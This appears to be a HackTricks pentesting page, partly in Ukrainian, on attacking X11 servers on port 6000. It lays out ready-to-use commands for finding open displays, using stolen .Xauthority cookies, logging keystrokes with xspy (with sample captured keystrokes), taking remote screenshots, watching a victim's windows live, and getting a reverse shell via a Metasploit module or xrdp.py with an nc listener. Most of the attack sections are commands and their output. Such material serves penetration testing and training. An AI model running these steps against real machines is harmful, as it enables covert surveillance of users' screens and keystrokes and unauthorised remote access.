6000 - Pentesting X11

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information

X Window System (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical user interfaces (GUIs), with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Перевірте наявність анонімного з'єднання:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Локальна енумерація

Файл .Xauthority у домашній папці користувача використовується X11 для авторизації. З тут:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Генерація 128-бітного ключа (“cookie”), зберігання його в ~/.Xauthority (або в місці, на яке вказує змінна середовища XAUTHORITY). Клієнт надсилає його серверу у відкритому вигляді! Сервер перевіряє, чи має він копію цього “cookie”, і якщо так, з'єднання дозволяється. Ключ генерується DMX.

Щоб використовувати cookie, ви повинні встановити змінну середовища: export XAUTHORITY=/path/to/.Xauthority

Локальна сесія перерахунку

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

У прикладі localhost:0 працював xfce4-session.

Перевірка з'єднання

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy для перехоплення натискань клавіш на клавіатурі.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Захоплення скріншотів

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Віддалений робочий стіл

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Шлях з: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Спочатку нам потрібно знайти ID вікна, використовуючи xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Для живого перегляду нам потрібно використовувати

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Отримати оболонку

msf> use exploit/unix/x11/x11_keyboard_exec

Інший спосіб:

Reverse Shell: Xrdp також дозволяє отримати зворотний шелл через Netcat. Введіть наступну команду:

./xrdp.py \<IP:0> –no-disp

В інтерфейсі ви можете побачити R-shell option.

Потім запустіть Netcat listener у вашій локальній системі на порту 5555.

nc -lvp 5555

Тоді введіть свою IP-адресу та порт у опцію R-Shell і натисніть на R-shell, щоб отримати оболонку

Посилання

Shodan

  • port:6000 x11

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!

Hacking Insights Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства

Real-Time Hack News Будьте в курсі швидкоплинного світу хакерства через новини та інсайти в реальному часі

Latest Announcements Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ

Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!

Підтримати HackTricks

Last updated